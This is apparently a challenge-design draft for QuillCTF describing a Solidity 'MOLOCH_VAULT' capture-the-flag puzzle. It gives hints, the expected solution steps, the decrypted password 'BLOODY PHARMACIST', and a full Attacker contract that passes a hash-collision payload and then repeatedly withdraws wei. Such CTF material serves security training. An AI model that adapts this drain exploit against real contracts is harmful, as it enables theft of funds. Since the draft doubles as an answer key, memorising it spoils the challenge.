Skip to content

Latest commit

 

History

History
84 lines (73 loc) · 3.93 KB

Draft_to_Publisher_quillctf.md

File metadata and controls

84 lines (73 loc) · 3.93 KB

Values/ Impact of Challenge

  • Challenge assumes a real-life hacking scenerio hence involving some OSINT.
  • Demands u see what code does not what a dev says it does. Hence arbitrary variable names.
  • Ability to deal with customized/personal code not just DEFI, ERC et al.
  • Demands indepth understanding of EVM storage layout.
  • Hacker deals with code. code is code irrespective whats coded.

Hint/Info to participant

  • Link to Moloch's tweet (Preimage found in updated source code).
  • Moloch is the 3rd Person in Cabal[] private cabals;
  • Failure to provide deep detail of steps taken is regarded as failure.

Expectation from participant

  • Focus and not distracted by scattered code, arbitrary varible terms.
  • Understand & dissasemble contract storage & get Moloch-encrypted passss using ethers.js
  • Decrypt the retrieved value using Moloch-Algorithm
  • Pass the decrypted value into uhER778() while solving some challenges as well. Setting realHacker[msg.sender] = true
  • Withdrawing 1 wei via sendGrant() (multiple Times)
  • Challenge Passed

Details required from participants POC

  • Detailed formula for finding slot of dynamic struct => uint(keccak256(abi.encodePacked(slot))) + (index * elementsize);
  • state the derived string => "ZJQQBW*NFCPKCAKQR"
  • Details of decrypting Moloch-algorithm => consonants: 2steps back, vowels: 2steps foward.
  • state decrypted preimage => "BLOODY PHARMACIST"
  • Expliain bypass keccak256(abi.encodepacked().
  • Stated Attacker address expected to reflect true from mapping(address => bool) public realHacker;

Personal Appeal/request

  1. Being aware of the current situation in which challenge contracts are nolonger deployed to goerli due to some potential malpractice. I'll like to request that this be revoked for this challenge due to the following reasons:
  • The challenge is heavily based on extracting data 4rm live storage using ethers.js. Hence should be deployed
  • If deployed, Unity of solution/extracted answer/string value is achieved. Hence scoring made easy.
  • The nature of this challenge isnt revealing via transaction scan as most of its functions are not even required to hack the contract, also doesnt require selfdestruct() which can be seen on etherscan. (If theres a way im not aware of pls notify me via discord).
  • Infact even if a whole attacker contract can be seen via etherscan, participant still has to provide details of: algorithm decryption, formula for extracting data in struct, keccak256(abi.encodepacked() manipulations in POC as stated above.
  1. I wouldnt mind helping with deployment.

Constructor inputs

{
molochPass: "BLOODY PHARMACIST",
_B: ["WHO DO YOU", "SERVE?"],
A: ["0x5B38Da6a701c568545dCfcB03FcB875f56beddC4","0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2","0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db"]
_PASSSS: ["KCLEQ","BGTGJQNGP","ZJQQBW*NFCPKCAKQR"]
}

Expected answer (using above inputs)

  • BLOODY PHARMACIST

Coded exploit

contract Attacker {
    MOLOCH_VAULT vault;
    uint public f;

    constructor(address payable a) payable{
        vault = MOLOCH_VAULT(a);
    }
    /*@attack is called with the following payload;
    ["BLOODY PHARMACIST","WHO DO YO", "USERVE?"]
    */
    function attack(string[3] memory _ansa) public payable returns(bool success) {
        vault.uhER778(_ansa);
        success = true;
    }

    // Now the withdraw() can be called multiple times to keep extracting 1wei
    function withdraw() public {
        vault.sendGrant(payable(address(this)));
    }

    receive() external payable {
        if (f < 1) {
            (bool sent,) = msg.sender.call{value: 2 wei}("");
            require(sent, "unsuccessful");
        }
        f++;
    }
}

Inspiration. 1

Footnotes

  1. So much inspiration gotten from Molochdao website ↩